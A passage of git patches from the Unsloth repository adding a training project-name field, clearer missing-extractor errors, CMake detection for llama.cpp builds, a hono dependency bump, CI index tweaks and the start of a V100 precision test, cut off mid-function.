   status: "running" | "completed" | "stopped" | "error";
   model_name: string;
+  project_name: string | null;
   dataset_name: string;
   display_name: string | null;
   started_at: string;
diff --git a/studio/frontend/src/features/training/types/runtime.ts b/studio/frontend/src/features/training/types/runtime.ts
index c27a2f2bed..8ed0ce0037 100644
--- a/studio/frontend/src/features/training/types/runtime.ts
+++ b/studio/frontend/src/features/training/types/runtime.ts
@@ -83,6 +83,7 @@ export interface TrainingRuntimeState {
   startError: string | null;
   startModelName: string | null;
   startDatasetName: string | null;
+  startProjectName: string | null;
   startFromResume: boolean;
   sseConnected: boolean;
   firstStepReceived: boolean;
@@ -121,6 +122,7 @@ export interface TrainingRuntimeActions {
     modelName: string | null,
     datasetName: string | null,
     fromResume?: boolean,
+    projectName?: string | null,
   ) => void;
   setSseConnected: (value: boolean) => void;
   setLastEventId: (value: number | null) => void;
@@ -160,6 +162,7 @@ export interface TrainingViewData {
 
   // Config summary
   modelName: string;
+  projectName: string | null;
   trainingMethod: string;
 
   // Time-series (for ChartsSection)
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 019a23a891..f3c9eef44e 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -609,6 +609,10 @@ export const en = {
     params: {
       title: "Parameters",
       description: "Configure training hyperparameters",
+      projectName: "Project Name",
+      optional: "Optional",
+      projectNameDescription:
+        "Used in training output folder names, export defaults, and history.",
       loraSettings: "LoRA Settings",
       trainingHyperparameters: "Training Hyperparameters",
       maxSteps: "Max Steps",
@@ -850,6 +854,7 @@ export const en = {
       loss: "Loss",
       lr: "LR",
       gradNorm: "Grad Norm",
+      project: "Project",
       model: "Model",
       method: "Method",
       elapsed: "Elapsed: {value}",
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index bc239294bd..5fd31dc7cb 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -541,6 +541,9 @@ export const zhCN = {
     params: {
       title: "参数",
       description: "配置训练超参数",
+      projectName: "项目名称",
+      optional: "可选",
+      projectNameDescription: "用于训练输出文件夹名称、导出默认值和历史记录。",
       loraSettings: "LoRA 设置",
       trainingHyperparameters: "训练超参数",
       maxSteps: "最大步数",
@@ -766,6 +769,7 @@ export const zhCN = {
       loss: "Loss",
       lr: "LR",
       gradNorm: "梯度范数",
+      project: "项目",
       model: "模型",
       method: "方法",
       elapsed: "已用时间：{value}",

From 1069b28c43d7f6375e946cd8632a8448f259de0d Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 29 Jun 2026 07:12:44 -0700
Subject: [PATCH 146/306] Studio: name the missing extractor when a Recipes
 file upload fails (#6642)

* Studio: name the missing extractor when a Recipes upload fails

A missing optional dependency (pymupdf4llm for PDF, mammoth for DOCX) was
reported as a generic "Text extraction failed", which gives the user nothing to
act on. Catch ImportError and surface the package name instead.

* Studio: narrow missing extractor error handling

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/routes/data_recipe/seed.py     |  31 +++++
 studio/backend/tests/test_data_recipe_seed.py | 120 +++++++++++++++++-
 2 files changed, 148 insertions(+), 3 deletions(-)

diff --git a/studio/backend/routes/data_recipe/seed.py b/studio/backend/routes/data_recipe/seed.py
index 8fb034ea4e..57a291291e 100644
--- a/studio/backend/routes/data_recipe/seed.py
+++ b/studio/backend/routes/data_recipe/seed.py
@@ -481,6 +481,37 @@ async def upload_unstructured_file(
                 error = "No extractable text found in file",
             )
         extracted_path.write_text(extracted_text, encoding = "utf-8")
+    except ImportError as e:
+        raw_path.unlink(missing_ok = True)
+        extracted_path.unlink(missing_ok = True)
+        missing = getattr(e, "name", None)
+        expected_missing = {".pdf": "pymupdf4llm", ".docx": "mammoth"}.get(ext)
+        if isinstance(e, ModuleNotFoundError) and missing == expected_missing:
+            logger.error(
+                "data_recipe.seed.text_extraction_dependency_missing",
+                error = str(e),
+                missing = missing,
+                exc_info = True,
+            )
+            return UnstructuredFileUploadResponse(
+                file_id = file_id,
+                filename = original_filename,
+                size_bytes = size_bytes,
+                status = "error",
+                error = f"Cannot read {ext} files: the '{missing}' package is not installed.",
+            )
+        logger.error(
+            "data_recipe.seed.text_extraction_failed",
+            error = str(e),
+            exc_info = True,
+        )
+        return UnstructuredFileUploadResponse(
+            file_id = file_id,
+            filename = original_filename,
+            size_bytes = size_bytes,
+            status = "error",
+            error = "Text extraction failed.",
+        )
     except Exception as e:
         raw_path.unlink(missing_ok = True)
         extracted_path.unlink(missing_ok = True)
diff --git a/studio/backend/tests/test_data_recipe_seed.py b/studio/backend/tests/test_data_recipe_seed.py
index 601df8bbfe..09e22116ed 100644
--- a/studio/backend/tests/test_data_recipe_seed.py
+++ b/studio/backend/tests/test_data_recipe_seed.py
@@ -1,12 +1,126 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import asyncio
+import importlib.util
 from pathlib import Path
 
+import pytest
 
-def test_seed_inspect_load_kwargs_disables_remote_code_execution():
-    seed_route = (
+
+def _seed_route_source() -> str:
+    return (
         Path(__file__).resolve().parent.parent / "routes" / "data_recipe" / "seed.py"
     ).read_text()
 
-    assert '"trust_remote_code": False' in seed_route
+
+def test_seed_inspect_load_kwargs_disables_remote_code_execution():
+    assert '"trust_remote_code": False' in _seed_route_source()
+
+
+class _FakeUpload:
+    def __init__(self, filename: str, content: bytes):
+        self.filename = filename
+        self._content = content
+
+    async def read(self) -> bytes:
+        return self._content
+
+
+def _load_seed_route(monkeypatch: pytest.MonkeyPatch, tmp_path: Path):
+    pytest.importorskip("fastapi")
+    pytest.importorskip("multipart")
+    pytest.importorskip("structlog")
+
+    backend_root = Path(__file__).resolve().parent.parent
+    monkeypatch.syspath_prepend(str(backend_root))
+    route_path = backend_root / "routes" / "data_recipe" / "seed.py"
+    spec = importlib.util.spec_from_file_location("seed_under_test", route_path)
+    assert spec is not None and spec.loader is not None
+    seed_route = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(seed_route)
+    seed_route.UNSTRUCTURED_UPLOAD_ROOT = tmp_path / "unstructured-uploads"
+    return seed_route
+
+
+def _run_upload(
+    seed_route,
+    filename: str,
+    content: bytes,
+    block_id: str = "block",
+):
+    return asyncio.run(
+        seed_route.upload_unstructured_file(_FakeUpload(filename, content), block_id)
+    )
+
+
+def _block_files(seed_route, block_id: str = "block") -> list[str]:
+    block_dir = seed_route.UNSTRUCTURED_UPLOAD_ROOT / block_id
+    if not block_dir.exists():
+        return []
+    return sorted(path.name for path in block_dir.iterdir())
+
+
+def _raise(exc: BaseException):
+    def raise_exc(*args, **kwargs):
+        raise exc
+
+    return raise_exc
+
+
+@pytest.mark.parametrize(
+    ("filename", "package"),
+    [
+        ("paper.pdf", "pymupdf4llm"),
+        ("notes.docx", "mammoth"),
+    ],
+)
+def test_unstructured_upload_names_missing_extractor_dependency(
+    monkeypatch, tmp_path, filename, package
+):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    monkeypatch.setattr(
+        seed_route,
+        "_extract_text_from_file",
+        _raise(ModuleNotFoundError(f"No module named {package!r}", name = package)),
+    )
+
+    result = _run_upload(seed_route, filename, b"%PDF-1.7")
+
+    assert result.status == "error"
+    assert (
+        result.error
+        == f"Cannot read {Path(filename).suffix} files: the '{package}' package is not installed."
+    )
+    assert _block_files(seed_route) == []
+
+
+def test_unstructured_upload_keeps_txt_path_working(monkeypatch, tmp_path):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+
+    result = _run_upload(seed_route, "notes.txt", b"hello")
+
+    assert result.status == "ok"
+    assert result.error is None
+    assert any(name.endswith(".txt") for name in _block_files(seed_route))
+    assert any(name.endswith(".extracted.txt") for name in _block_files(seed_route))
+
+
+@pytest.mark.parametrize(
+    "exc",
+    [
+        ImportError("cannot import internal symbol"),
+        ModuleNotFoundError(
+            "No module named 'missing_transitive_pkg'",
+            name = "missing_transitive_pkg",
+        ),
+    ],
+)
+def test_unstructured_upload_import_errors_stay_generic(monkeypatch, tmp_path, exc):
+    seed_route = _load_seed_route(monkeypatch, tmp_path)
+    monkeypatch.setattr(seed_route, "_extract_text_from_file", _raise(exc))
+    result = _run_upload(seed_route, "paper.pdf", b"%PDF-1.7")
+
+    assert result.status == "error"
+    assert result.error == "Text extraction failed."
+    assert _block_files(seed_route) == []

From f7d509e1f2b8d5aa6f8533c48702df2d079e58d0 Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Mon, 29 Jun 2026 15:17:16 +0100
Subject: [PATCH 147/306] fix: remove sidebar update dev override (#6746)

---
 .../frontend/src/components/app-sidebar.tsx   | 22 +++----------------
 1 file changed, 3 insertions(+), 19 deletions(-)

diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index 0203605767..ef4178ea42 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -262,19 +262,6 @@ function NavItem({
   );
 }
 
-// TEMP DEV override: preview the update card on installs with no real update
-// (e.g. an editable checkout). In the browser console run
-// `localStorage.setItem("unsloth_force_update_card", "1")` and reload. Remove
-// before merge.
-function devForceUpdateCard(): boolean {
-  if (typeof window === "undefined") return false;
-  try {
-    return window.localStorage.getItem("unsloth_force_update_card") === "1";
-  } catch {
-    return false;
-  }
-}
-
 export function AppSidebar() {
   const t = useT();
   const { isDark, toggleTheme, anchorRef } = useAnimatedThemeToggle();
@@ -291,13 +278,10 @@ export function AppSidebar() {
 
   // Web update detection: `webUpdate` is non-null only when the installed
   // (PyPI) version is behind the latest release, so the card is hidden by
-  // default. `forceUpdateCard` is a TEMP dev override to preview it on installs
-  // with no real update (e.g. an editable checkout); remove before merge.
+  // default.
   const { status: webUpdate } = useWebUpdateCheck();
-  const [forceUpdateCard] = useState(devForceUpdateCard);
-  const showUpdateCard = Boolean(webUpdate) || forceUpdateCard;
-  const updateVersion =
-    webUpdate?.latestVersion ?? (forceUpdateCard ? "0.0.0" : null);
+  const showUpdateCard = Boolean(webUpdate);
+  const updateVersion = webUpdate?.latestVersion ?? null;
 
   // Auto-close mobile Sheet after navigation
   const closeMobileIfOpen = () => {

From 220ff5aabaa67ede8a29af0859297c7ecac96985 Mon Sep 17 00:00:00 2001
From: OrbisAI Security <mediratta01.pally@gmail.com>
Date: Mon, 29 Jun 2026 19:58:06 +0530
Subject: [PATCH 148/306] fix: CVE-2026-54290 security vulnerability (#6736)

Automated dependency upgrade by OrbisAI Security

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 studio/frontend/package-lock.json | 35 +++++++++++++------------------
 studio/frontend/package.json      |  2 +-
 2 files changed, 15 insertions(+), 22 deletions(-)

diff --git a/studio/frontend/package-lock.json b/studio/frontend/package-lock.json
index 6202d3ce22..80db64553a 100644
--- a/studio/frontend/package-lock.json
+++ b/studio/frontend/package-lock.json
@@ -1704,6 +1704,7 @@
       "os": [
         "android"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1724,6 +1725,7 @@
       "os": [
         "darwin"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1744,6 +1746,7 @@
       "os": [
         "darwin"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1764,6 +1767,7 @@
       "os": [
         "linux"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1784,6 +1788,7 @@
       "os": [
         "linux"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1804,6 +1809,7 @@
       "os": [
         "linux"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1824,6 +1830,7 @@
       "os": [
         "linux"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1844,6 +1851,7 @@
       "os": [
         "linux"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1864,6 +1872,7 @@
       "os": [
         "linux"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1884,6 +1893,7 @@
       "os": [
         "win32"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -1904,6 +1914,7 @@
       "os": [
         "win32"
       ],
+      "peer": true,
       "engines": {
         "node": ">= 10"
       },
@@ -5669,9 +5680,6 @@
       "cpu": [
         "arm64"
       ],
-      "libc": [
-        "glibc"
-      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5688,9 +5696,6 @@
       "cpu": [
         "arm64"
       ],
-      "libc": [
-        "musl"
-      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5707,9 +5712,6 @@
       "cpu": [
         "ppc64"
       ],
-      "libc": [
-        "glibc"
-      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5726,9 +5728,6 @@
       "cpu": [
         "s390x"
       ],
-      "libc": [
-        "glibc"
-      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5745,9 +5744,6 @@
       "cpu": [
         "x64"
       ],
-      "libc": [
-        "glibc"
-      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -5764,9 +5760,6 @@
       "cpu": [
         "x64"
       ],
-      "libc": [
-        "musl"
-      ],
       "license": "MIT",
       "optional": true,
       "os": [
@@ -10282,9 +10275,9 @@
       }
     },
     "node_modules/hono": {
-      "version": "4.12.21",
-      "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.21.tgz",
-      "integrity": "sha512-uV63apnb0kyPtAUwoWgaGh9HyIFcv8lgmzPZSiTBQAFOFGIzka5EZ1dZocmGnn0XdX0+XTqJ6Tqv7selMuGLRQ==",
+      "version": "4.12.25",
+      "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.25.tgz",
+      "integrity": "sha512-2NFaIyNVgJmBs/ecmtGzlmluTFs5cHEWGTdu0t1HBwYzoGXOL5nUQBRMXsXWla5i4KkG//QMzVP88m1+I3fdAQ==",
       "license": "MIT",
       "engines": {
         "node": ">=16.9.0"
diff --git a/studio/frontend/package.json b/studio/frontend/package.json
index 0956c710f5..a2eddecda3 100644
--- a/studio/frontend/package.json
+++ b/studio/frontend/package.json
@@ -86,7 +86,7 @@
     "@tanstack/router-core": "1.169.2",
     "@tanstack/history": "1.161.6",
     "mermaid": "11.15.0",
-    "hono": "4.12.21",
+    "hono": "4.12.25",
     "qs": "6.15.2",
     "ip-address": "10.1.1",
     "brace-expansion@5.0.5": "5.0.6"

From 6acf01f7b34fdc4f42230405a76624a0212d9b50 Mon Sep 17 00:00:00 2001
From: ashzak <ashzak@gmail.com>
Date: Mon, 29 Jun 2026 15:23:18 -0500
Subject: [PATCH 149/306] Fix llama.cpp CMake build detection in save.py
 (#5957)

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 unsloth/save.py | 92 ++++++++++++++++++++++++++++++++++++-------------
 1 file changed, 69 insertions(+), 23 deletions(-)

diff --git a/unsloth/save.py b/unsloth/save.py
index f55a14b4e3..20a934538c 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -149,6 +149,29 @@ def has_curl():
 CURL_FLAG = "-DLLAMA_CURL=ON" if has_curl() else "-DLLAMA_CURL=OFF"
 
 
+def _is_cmake_only_llama_cpp(llama_cpp_dir: str = "llama.cpp") -> bool:
+    """
+    True if llama.cpp's Makefile is the post-CMake-migration deprecation stub,
+    so `make` cannot build it. A genuinely missing/empty checkout returns False
+    so it isn't treated as CMake-only: the caller then probes make and fails
+    loudly on a real error rather than silently assuming a CMake build.
+    """
+    makefile_path = os.path.join(llama_cpp_dir, "Makefile")
+    if not os.path.exists(makefile_path):
+        # No Makefile: only CMake-only if a real CMake project is present
+        return os.path.exists(os.path.join(llama_cpp_dir, "CMakeLists.txt"))
+    try:
+        with open(makefile_path, "r", encoding = "utf-8", errors = "ignore") as f:
+            content = f.read(4096).lower()
+            if "cmake" in content and "deprecated" in content:
+                return True
+            if "build system changed" in content:
+                return True
+    except (IOError, OSError):
+        pass
+    return False
+
+
 def print_quantization_methods():
     for key, value in ALLOWED_QUANTS.items():
         print(f'"{key}"  ==> {value}')
@@ -1190,14 +1213,27 @@ def install_llama_cpp_make_non_blocking():
     # https://github.com/ggerganov/llama.cpp/issues/7062
     # Weirdly GPU conversion for GGUF breaks??
     # env = { **os.environ, "LLAMA_CUDA": "1", }
-    # Force make clean
-    check = os.system("make clean -C llama.cpp")
-    IS_CMAKE = False
-    if check == 0:
+
+    # Skip the make-clean probe on CMake-only checkouts (its error output is misleading)
+    IS_CMAKE = _is_cmake_only_llama_cpp("llama.cpp")
+
+    if not IS_CMAKE:
+        # Confirm make still works, silently
+        try:
+            result = subprocess.run(
+                ["make", "clean", "-C", "llama.cpp"],
+                stdout = subprocess.DEVNULL,
+                stderr = subprocess.DEVNULL,
+            )
+            IS_CMAKE = result.returncode != 0
+        except FileNotFoundError:
+            # No make executable; use CMake
+            IS_CMAKE = True
+
+    if not IS_CMAKE:
         # Uses old MAKE
         n_jobs = max(int((psutil.cpu_count() or 1) * 1.5), 1)
         full_command = ["make", "all", "-j" + str(n_jobs), "-C", "llama.cpp"]
-        IS_CMAKE = False
     else:
         # Uses new CMAKE
         n_jobs = max(int(psutil.cpu_count() or 1), 1)  # Use less CPUs since 1.5x faster
@@ -1220,7 +1256,6 @@ def install_llama_cpp_make_non_blocking():
             "--clean-first",
             "--target",
         ] + LLAMA_CPP_TARGETS
-        IS_CMAKE = True
     # https://github.com/ggerganov/llama.cpp/issues/7062
     # Weirdly GPU conversion for GGUF breaks??
     # run_installer = subprocess.Popen(full_command, env = env, stdout = subprocess.DEVNULL, stderr = subprocess.STDOUT)
@@ -1306,20 +1341,25 @@ def install_llama_cpp_old(version = -10):
     ]
     try_execute(commands)
 
-    # Try using MAKE
-    commands = [
-        "make clean -C llama.cpp",
-        f"make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
-    ]
-    if try_execute(commands) == "CMAKE":
-        # Instead use CMAKE
+    # Detect CMake-only build system before trying make
+    use_cmake = _is_cmake_only_llama_cpp("llama.cpp")
+
+    if not use_cmake:
+        # Try using MAKE
+        commands = [
+            "make clean -C llama.cpp",
+            f"make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
+        ]
+        use_cmake = try_execute(commands) == "CMAKE"
+
+    if use_cmake:
+        # Use CMAKE
         commands = [
             f"cmake llama.cpp -B llama.cpp/build -DBUILD_SHARED_LIBS=OFF -DGGML_CUDA=OFF {CURL_FLAG}",
             f"cmake --build llama.cpp/build --config Release -j{(psutil.cpu_count() or 1)*2} --clean-first --target {' '.join(LLAMA_CPP_TARGETS)}",
             "cp llama.cpp/build/bin/llama-* llama.cpp",
             "rm -rf llama.cpp/build",
         ]
-
         try_execute(commands)
 
     # Check if successful
@@ -1351,15 +1391,21 @@ def install_llama_cpp_blocking(use_cuda = False):
         return
     try_execute(commands)
 
-    commands = [
-        "make clean -C llama.cpp",
-        # https://github.com/ggerganov/llama.cpp/issues/7062
-        # Weirdly GPU conversion for GGUF breaks??
-        # f"{use_cuda} make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
-        f"make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
-    ]
-    if try_execute(commands) == "CMAKE":
-        # Instead use CMAKE
+    # Detect CMake-only build system before trying make
+    use_cmake = _is_cmake_only_llama_cpp("llama.cpp")
+
+    if not use_cmake:
+        commands = [
+            "make clean -C llama.cpp",
+            # https://github.com/ggerganov/llama.cpp/issues/7062
+            # Weirdly GPU conversion for GGUF breaks??
+            # f"{use_cuda} make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
+            f"make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
+        ]
+        use_cmake = try_execute(commands) == "CMAKE"
+
+    if use_cmake:
+        # Use CMAKE
         commands = [
             f"cmake llama.cpp -B llama.cpp/build -DBUILD_SHARED_LIBS=OFF -DGGML_CUDA=OFF {CURL_FLAG}",
             f"cmake --build llama.cpp/build --config Release -j{(psutil.cpu_count() or 1)*2} --clean-first --target {' '.join(LLAMA_CPP_TARGETS)}",

From ba41e798d67aba9fe2a1dbfe1d6f4eab266ab1fb Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 29 Jun 2026 13:35:26 -0700
Subject: [PATCH 150/306] CI: add PyPI extra-index to CPU torch installs to fix
 sympy resolution (#6660)

---
 .github/workflows/consolidated-tests-ci.yml          | 4 ++--
 .github/workflows/mlx-ci.yml                         | 2 +-
 .github/workflows/notebooks-ci.yml                   | 2 +-
 .github/workflows/studio-backend-ci.yml              | 4 ++--
 .github/workflows/studio-windows-inference-smoke.yml | 2 +-
 .github/workflows/version-compat-ci.yml              | 2 +-
 6 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/.github/workflows/consolidated-tests-ci.yml b/.github/workflows/consolidated-tests-ci.yml
index b56a6c2615..bd9c0a532d 100644
--- a/.github/workflows/consolidated-tests-ci.yml
+++ b/.github/workflows/consolidated-tests-ci.yml
@@ -209,7 +209,7 @@ jobs:
             'peft>=0.18,<0.20' 'accelerate>=0.34,<2' \
             ipython
           # torchvision: unsloth_zoo.vision_utils imports it at module scope.
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch>=2.4,<2.11' 'torchvision<0.26'
           # transformers + trl from the matrix combo.
           pip install "$RESOLVED_TRANSFORMERS_SPEC"
@@ -2166,7 +2166,7 @@ jobs:
           python -m pip install --upgrade pip
           # Match the matrix job's torch path so unsloth_zoo's
           # `import torch` resolves to the same CPU build.
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch>=2.4,<2.11' 'torchvision<0.26'
           pip install \
             'numpy<3' protobuf sentencepiece \
diff --git a/.github/workflows/mlx-ci.yml b/.github/workflows/mlx-ci.yml
index 424a706d7c..a2f716a93c 100644
--- a/.github/workflows/mlx-ci.yml
+++ b/.github/workflows/mlx-ci.yml
@@ -163,7 +163,7 @@ jobs:
             'pytest==9.0.3' \
             'pytest-asyncio==1.3.0' \
             'httpx==0.28.1'
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch==2.10.0'
           # github.com occasionally 500s on the git fetch; retry the
           # zoo install so a single upstream blip does not fail CI.
diff --git a/.github/workflows/notebooks-ci.yml b/.github/workflows/notebooks-ci.yml
index 2edcae8ab2..0e0b35dd4d 100644
--- a/.github/workflows/notebooks-ci.yml
+++ b/.github/workflows/notebooks-ci.yml
@@ -263,7 +263,7 @@ jobs:
           # unsloth_zoo.vision_utils imports PIL at module top, and the
           # easiest way to get a torch-compatible PIL on a CPU runner is
           # to let torchvision pull the right Pillow version.
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
                       'torch>=2.8,<2.11' 'torchvision<0.26'
           # Pin to the same versions update_all_notebooks.py installs in
           # generated notebooks. Keep these in lockstep with PIN_TRL /
diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml
index ea60252cf6..bce355458a 100644
--- a/.github/workflows/studio-backend-ci.yml
+++ b/.github/workflows/studio-backend-ci.yml
@@ -76,7 +76,7 @@ jobs:
           # Torch CPU + transformers are required by a chunk of the backend test
           # suite (gpu_selection, kv_cache_estimation, utils). CPU-only torch
           # keeps the install ~250 MB / ~1 min on a clean runner.
-          pip install --index-url https://download.pytorch.org/whl/cpu 'torch>=2.4,<2.11'
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple 'torch>=2.4,<2.11'
           pip install 'transformers>=4.51,<5.5'
 
       - name: Backend tests
@@ -137,7 +137,7 @@ jobs:
             pyyaml jinja2 mammoth unpdf requests typer \
             'numpy<3' pytest pytest-asyncio httpx
           # torchvision: unsloth_zoo.vision_utils imports it at module scope.
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch>=2.4,<2.11' 'torchvision<0.26'
           pip install 'transformers>=4.51,<5.5'
           # bitsandbytes: hard import in unsloth/models/_utils.py. Recent
diff --git a/.github/workflows/studio-windows-inference-smoke.yml b/.github/workflows/studio-windows-inference-smoke.yml
index 08a0ee782d..8186c07211 100644
--- a/.github/workflows/studio-windows-inference-smoke.yml
+++ b/.github/workflows/studio-windows-inference-smoke.yml
@@ -1384,7 +1384,7 @@ jobs:
       - name: PyTorch CPU wheel installs and imports (no Visual Studio)
         run: |
           python -m pip install --upgrade pip
-          python -m pip install torch --index-url https://download.pytorch.org/whl/cpu
+          python -m pip install torch --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple
           python -c "import torch; print('torch', torch.__version__, 'cuda?', torch.cuda.is_available())"
 
       - name: Install Studio (--local, --no-torch) with no build tools present
diff --git a/.github/workflows/version-compat-ci.yml b/.github/workflows/version-compat-ci.yml
index 599b53df1d..e492d21e99 100644
--- a/.github/workflows/version-compat-ci.yml
+++ b/.github/workflows/version-compat-ci.yml
@@ -242,7 +242,7 @@ jobs:
         run: |
           python -m pip install --upgrade pip
           # CPU torch (vllm/peft/st all depend on it).
-          pip install --index-url https://download.pytorch.org/whl/cpu \
+          pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
             'torch>=2.4,<2.11' 'torchvision<0.26' 'torchcodec<0.10'
           # torchcodec is a hard requirement on transformers 5.x:
           # transformers/audio_utils.py:55 does

From de3c745fab08e14a1cd7a825c434f048a53ec5ef Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 29 Jun 2026 14:35:23 -0700
Subject: [PATCH 151/306] Fix full finetuning precision on V100 / no-bf16 GPUs
 (#5880)

---------

Co-authored-by: Datta Nimmaturi <venkatadattasainimmaturi@gmail.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 tests/python/test_v100_fullft_precision.py | 193 +++++++++++++++++++++
 unsloth/models/rl.py                       |  26 ++-
 2 files changed, 212 insertions(+), 7 deletions(-)
 create mode 100644 tests/python/test_v100_fullft_precision.py

diff --git a/tests/python/test_v100_fullft_precision.py b/tests/python/test_v100_fullft_precision.py
new file mode 100644
index 0000000000..c8ca769d45
--- /dev/null
+++ b/tests/python/test_v100_fullft_precision.py
@@ -0,0 +1,193 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Regression tests for full finetuning precision on no-bf16 GPUs (V100/T4).
+
+Full finetuning upcasts trainable weights to float32, so the model dtype is
+float32 (not bfloat16). The SFTTrainer mixed-precision template in
+unsloth/models/rl.py must then:
+  - run the forward pass under float16 autocast for normal models,
+  - keep FORCE_FLOAT32 models (Gemma3, gpt_oss, ...) in pure float32,
+  - never select bf16 on hardware without bf16.
+
+We execute the REAL template block extracted from rl.py source (no heavy unsloth
+import) against mocked inputs. See issue #4082.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+import types
+from pathlib import Path
+
+import pytest
+
+torch = pytest.importorskip("torch")
+
+RL_PY = Path(__file__).resolve().parents[2] / "unsloth" / "models" / "rl.py"
+
+
+def _extract_mixed_precision_code() -> str:
+    lines = RL_PY.read_text().split("\n")
+    try:
+        start = next(i for i, l in enumerate(lines) if "mixed_precision = (" in l)
+    except StopIteration:
+        pytest.skip("mixed_precision template not found in rl.py")
+    body, k = [], start + 1
+    while lines[k].strip() != ")":
+        body.append(lines[k])
+        k += 1
+    return eval("(\n" + "\n".join(body) + "\n)")  # only string literals + comments
+
+
+CODE = _extract_mixed_precision_code()
+
+
+def _restore(mapping, saved):
+    """Restore a dict-like to its saved snapshot: pop keys that were absent."""
+    for k, v in saved.items():
+        if v is None:
+            mapping.pop(k, None)
+        else:
+            mapping[k] = v
+
+
+def _decide(dtype, *, bf16_supported, force_float32, full_finetuning, mixed_precision, fp16, bf16):
+    """Run the template block; return (args.fp16, args.bf16, ACCELERATE_MP, raised).
+
+    Stubs (sys.modules, env vars, torch.cuda.is_bf16_supported) are restored on
+    exit so a decision can't leak into later tests in the same process.
+    """
+    uzu = types.ModuleType("unsloth_zoo.utils")
+    uzu._get_dtype = lambda x: x
+    uzd = types.ModuleType("unsloth_zoo.device_type")
+    uzd.device_is_bf16_supported = lambda: bf16_supported  # device-aware signal stub
+
+    env_keys = (
+        "UNSLOTH_FORCE_FLOAT32",
+        "UNSLOTH_ENABLE_FULL_FINETUNING",
+        "UNSLOTH_MIXED_PRECISION",
+        "ACCELERATE_MIXED_PRECISION",
+    )
+    mod_keys = ("unsloth_zoo", "unsloth_zoo.utils", "unsloth_zoo.device_type")
+    saved_env = {k: os.environ.get(k) for k in env_keys}
+    saved_mods = {k: sys.modules.get(k) for k in mod_keys}
+    orig_bf16 = torch.cuda.is_bf16_supported
+    try:
